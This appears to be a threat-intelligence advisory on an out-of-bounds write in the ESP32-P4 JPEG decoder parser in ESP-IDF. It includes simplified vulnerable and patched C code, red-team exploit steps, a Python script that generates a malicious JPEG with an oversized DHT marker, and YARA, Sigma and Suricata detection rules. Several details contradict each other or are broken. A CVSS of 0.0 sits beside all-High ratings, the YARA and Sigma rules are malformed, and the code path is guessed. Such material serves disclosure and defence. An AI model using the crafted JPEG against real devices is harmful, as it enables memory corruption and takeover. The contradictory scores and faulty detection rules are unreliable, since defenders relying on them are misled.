CVE-2025-65092

Executive Summary

CVE-2025-65092 is a critical out-of-bounds (OOB) write vulnerability in the Espressif IoT Development Framework (ESP-IDF), specifically affecting the hardware JPEG decoder on the ESP32-P4 microcontroller. The vulnerability arises from insufficient input validation in the software parser that handles JPEG images before passing them to the hardware decoder. A specially crafted, malicious JPEG image can trigger an out-of-bounds array access, potentially leading to memory corruption, denial of service, or arbitrary code execution on the device.

The vulnerability impacts ESP-IDF versions 5.3.4, 5.4.3, and 5.5.1. Patches have been committed to the repository but not yet released in official binary distributions. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis, but the risk remains high for IoT deployments using the ESP32-P4.

Supply Chain & Package Security

This vulnerability is embedded in the ESP-IDF framework, which is a core dependency for all ESP32-P4 projects. Developers who include ESP-IDF as a submodule or dependency in their projects are affected. The supply chain risk is significant because the vulnerable code is in the hardware abstraction layer (HAL) and JPEG decoder library, which is often statically linked into firmware binaries. Updating the ESP-IDF version or applying the patch is the only remediation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned yet)
• Attack Vector (AV): Local (requires physical or network access to deliver a malicious JPEG)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None (attacker does not need authentication)
• User Interaction (UI): Required (victim must process the malicious JPEG)
• Scope (S): Unchanged
• Confidentiality (C): High (potential memory read)
• Integrity (I): High (potential memory write)
• Availability (A): High (crash or denial of service)
• Threat Level: High (OOB write in a hardware decoder can lead to code execution)

Deep Dive & Mechanics

The ESP32-P4 features a dedicated hardware JPEG decoder for efficient image processing. The software parser in ESP-IDF is responsible for parsing JPEG headers and metadata before passing the data to the hardware decoder. The vulnerability exists because the parser does not validate the size of certain JPEG markers (e.g., DHT, DQT, SOF) against the allocated buffer.

When a malicious JPEG image contains a marker with a declared length that exceeds the actual buffer size, the parser copies data into a fixed-size array without bounds checking. This results in an out-of-bounds write on the stack or heap, depending on the allocation context.

The vulnerable code path is in components/hal/jpeg_hal.c or similar files in the ESP-IDF source tree. The fix adds length validation checks before copying data into the internal buffers.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

void jpeg_parse_marker(uint8_t *data, uint16_t length) {
    uint8_t buffer[256];
    // No length check
    memcpy(buffer, data, length);
}

Patched Code (simplified):

void jpeg_parse_marker(uint8_t *data, uint16_t length) {
    uint8_t buffer[256];
    if (length > sizeof(buffer)) {
        // Handle error
        return;
    }
    memcpy(buffer, data, length);
}

The actual patch adds validation for each marker type and ensures that the declared length does not exceed the allocated buffer size.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ESP32-P4 development board with ESP-IDF v5.3.4, v5.4.3, or v5.5.1
• Ability to deliver a malicious JPEG file to the device (e.g., via HTTP upload, SD card, or serial)

Exploit Steps:

1. Craft a JPEG file with a malformed marker (e.g., DHT marker with a length field set to 0xFFFF).
2. Deliver the JPEG to the device via any input channel.
3. The device will parse the JPEG, triggering the OOB write.
4. Overwrite critical data structures (e.g., function pointers) to redirect execution.

Example Malicious JPEG Structure:

# Python script to generate a malicious JPEG
import struct

def create_malicious_jpeg():
    # Minimal JPEG with oversized DHT marker
    jpeg = b'\xFF\xD8'  # SOI
    jpeg += b'\xFF\xC4'  # DHT marker
    jpeg += struct.pack('>H', 0xFFFF)  # Length (malicious)
    jpeg += b'A' * 0xFFFC  # Payload
    jpeg += b'\xFF\xD9'  # EOI
    return jpeg

with open('malicious.jpg', 'wb') as f:
    f.write(create_malicious_jpeg())

Blue Team

Detection:

• Monitor for JPEG files with abnormal marker lengths (e.g., DHT length > 0x1A0).
• Use static analysis to check for OOB write patterns in firmware binaries.
• Implement input validation on all JPEG data before passing to the hardware decoder.

Mitigation:

• Apply the patch from commits 4b8f585, c79cb4d, or 34e2726.
• Use a software JPEG decoder as a fallback for untrusted images.
• Enable stack canaries and ASLR if supported.

Indicators of Compromise (IOCs)

• File Hashes: (None available yet)
• Network Signatures: JPEG files with marker length fields exceeding 0x1A0 (for DHT) or 0x40 (for DQT)
• Behavioral: ESP32-P4 device crashes or enters an infinite loop when processing JPEG images
• Memory: Out-of-bounds write patterns in the JPEG decoder buffer (e.g., 0x41414141 in memory dumps)

Detection Engineering

YARA Rule

rule CVE_2025_65092_JPEG_OOB {
    meta:
        description = "Detects malicious JPEG files targeting CVE-2025-65092"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65092"
    strings:
        $soi = { FF D8 }
        $eoi = { FF D9 }
        $dht_marker = { FF C4 }
        $dqt_marker = { FF DB }
        $sof_marker = { FF C0 }
    condition:
        $soi at 0 and
        for any of ($dht_marker, $dqt_marker, $sof_marker) : (
            uint16be(@ + 2) > 0x1A0
        )
}

Sigma Rule

title: CVE-2025-65092 JPEG OOB Write Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects JPEG files with oversized marker lengths
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '.jpg'
        Image|endswith: '.jpeg'
    condition: selection
falsepositives:
    - Legitimate JPEG files with large markers (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-65092 JPEG OOB Write Attempt"; flow:to_server; content:"|FF D8|"; content:"|FF C4|"; distance:0; within:2; byte_test:2,>,0x1A0,2,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply the patch from the following commits:
   • v5.5.x: 4b8f585
   • v5.4.x: c79cb4d
   • v5.3.x: 34e2726
2. Short-term: Update ESP-IDF to the latest release once v5.5.2, v5.4.4, or v5.3.5 are published.
3. Long-term: Implement input validation for all JPEG markers in custom applications. Use a software JPEG decoder for untrusted images.
4. Compensating Controls: Enable hardware memory protection (e.g., MPU) if available on the ESP32-P4.

Valters IT
DevSecOps & Cyber Threat Intelligence